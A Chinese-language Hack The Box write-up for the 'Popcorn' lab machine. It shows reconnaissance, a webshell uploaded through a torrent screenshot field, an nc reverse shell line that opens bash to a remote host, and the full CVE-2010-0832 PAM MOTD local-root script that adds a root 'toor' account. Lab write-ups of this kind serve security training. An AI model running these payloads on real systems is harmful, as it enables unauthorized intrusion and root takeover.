目录

Hack The Box —— Popcorn

Hack The Box —— Popcorn

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190904190902.png-water_print

信息搜集

nmap

1
nmap -T4 -A -v 10.10.10.6

发现服务器开了 22 端口和 80 端口浏览器访问 http 服务,发现 只有 apache 的默认页面。

目录扫描

利用 dirsearch 工具扫描一波目录:

1
python3 dirsearch -u http://10.10.10.6 -e html

发现 test.php 页面和 torrent 目录,针对 torrent 目录进行目录扫描,发现 upload 上传目录可以访问,同时存在 index.php 页面。

功能点搜索

该网站为 bt 种子论坛站,注册用户,发现上传页面。 https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190904191408.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190904191435.png-water_print

漏洞利用

在上传点尝试上传 webshell,发现失败,猜测程序检测上传的文件是否为标准的 bt 种子文件,且并未绕过过滤。 继续上传正常的 bt 种子文件,进行进一步测试:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190904191857.png-water_print

发现在上传好的种子页面存在 screenshots 图标上传点,

尝试上传 webshell,发现成功上传。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190904192051.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190904192134.png-water_print

访问 upload 目录,得到 webshell 的地址:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190904192256.png-water_print

菜刀连接:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190904192316.png-water_print

成功获取 user 的 flag。 https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190904192325.png-water_print

同时在 home 目录下发现 .cache 文件夹,进入后发现 motd.legal-displayed 文件。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190904192449.png-water_print

利用搜索引擎搜索相关文档,发现: https://www.exploit-db.com/exploits/14339

利用虚拟终端反弹一个 shell 到本地,便于提权操作。

本机: nc -l 4444 受害机:nc -e /bin/bash 10.10.14.10 4444

利用菜刀上传 exp 脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/bin/bash
#
# Exploit Title: Ubuntu PAM MOTD local root
# Date: July 9, 2010
# Author: Anonymous
# Software Link: http://packages.ubuntu.com/
# Version: pam-1.1.0
# Tested on: Ubuntu 9.10 (Karmic Koala), Ubuntu 10.04 LTS (Lucid Lynx)
# CVE: CVE-2010-0832
# Patch Instructions: sudo aptitude -y update; sudo aptitude -y install libpam~n~i
# References: http://www.exploit-db.com/exploits/14273/ by Kristian Erik Hermansen
P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
    [ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
    [ -e "$1" ] || return 0
    mv "$1"{,.bak} || return 1
    echo "[*] Backuped $1"
}
restore() {
    [ -e "$1" ] && rm -rf "$1"
    [ -e "$1".bak ] || return 0
    mv "$1"{.bak,} || return 1
    echo "[*] Restored $1"
}
key_create() {
    backup ~/.ssh/authorized_keys
    ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
    [ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
    mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
    echo "[*] SSH key set up"
}
key_remove() {
    rm -f "$KEY"
    restore ~/.ssh/authorized_keys
    echo "[*] SSH key removed"
}
own() {
    [ -e ~/.cache ] && rm -rf ~/.cache
    ln -s "$1" ~/.cache || return 1
    echo "[*] spawn ssh"
    ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
    [ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
    echo "[+] owned: $1"
}
bye() {
    key_remove
    exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
  chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor

并给该脚本赋予执行权限:

1
chmod + x 1.sh

执行脚本,获得 root 权限: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190904194200.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190904194204.png-water_print